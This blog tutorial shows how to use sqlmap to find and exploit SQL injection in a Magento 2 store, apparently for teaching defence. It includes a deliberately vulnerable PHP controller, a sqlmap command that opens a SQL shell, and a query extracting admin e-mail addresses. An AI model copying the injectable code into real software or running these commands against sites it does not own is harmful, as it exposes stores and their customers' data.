Magento Tips - Pentest with sqlmap
Published: 2021-11-13 17:12:05

---
title: Magento Tips - Pentest with sqlmap
published: true
description: Magento 2 is popular and hard to upgrade. This creates the perfect breeding ground for insecure eCommerce stores which hackers love to exploit. Let's look at how to detect SQL injection vulns!
tags: 
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dmuy2hiswcmlyf9dvlcc.png
canonical_url: https://rhuaridh.co.uk/blog/tips-magento-sqlmap.html
---

##Pentest Magento2

Magento 2 is popular and hard to upgrade. This creates the perfect breeding ground for insecure eCommerce stores which hackers love to exploit.

A common tool used by penetration testers to detect insecure sites is sqlmap.

In a nutshell, sqlmap is an open source tool that automates the process of detecting and exploiting SQL injection flaws.

##Install sqlmap

First we need to install sqlmap locally, this assumes that you have python installed already.

    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
    cd sqlmap-dev

It should go without saying that you should only ever use sqlmap against your own websites.

![Installing sqlmap](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y699zoj4xolbaaorlajd.png)

##Create a sample SQL injection flaw to test

For testing purposes, on our local site we can create a SQL injection flaw to test this against. It is important that you never deploy this code live for obvious reasons.

In my case, I just added this to my test controller:

    $connection = $this->_resourceConnection->getConnection();
    $year = $_GET["year"] ?? 2021;
    $rows = $connection->fetchAll("SELECT count(*) as total FROM sales_order WHERE created_at = $year");
    $total = $rows[0]['total'] ?? 0;
    echo "Hello World. There are $total orders on this site.";
    exit;

As you can see we are bypassing the ORM, and failing to escape and validate the $year input variable. This should never be done - but yet it is not uncommon to see this in third party extensions.

Here is what our vulnerable extension looks like:

![Hello world extension](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/24f1adsd2x0hjp54qbty.png)

##Finding a vulnerable parameter

Find our magento store url, I will use https://magento.rhuaridh.co.uk/

So on our local machine, we can now run sqlmap:

    python3 sqlmap.py -u https://magento.rhuaridh.co.uk/helloworld/index/helloworld?year=2021 \
    --dbms=mysql \
    --sql-shell
This command will quickly identify that year is vulnerable. The --sql-shell will then open a shell for us to run queries in.

![Finding a vuln](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/09a13wiem0se1oc0g2b2.png)

##Retrieving data

For example, to pull a list of admin e-mail addresses you can run:

    SELECT email FROM admin_user;
And that's it! That is how easy it is. We now have a list of all the admin e-mail addresses on the magento 2 store.

![Retrieving data from sqlmap](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k654askfzqwpostlnwo9.png)

##How do I stop SQL injection?

Always make sure you use the ORM, never pass a variable into a query string and always validate user supplied input. It's a simple as that!

Best practice exists for a reason.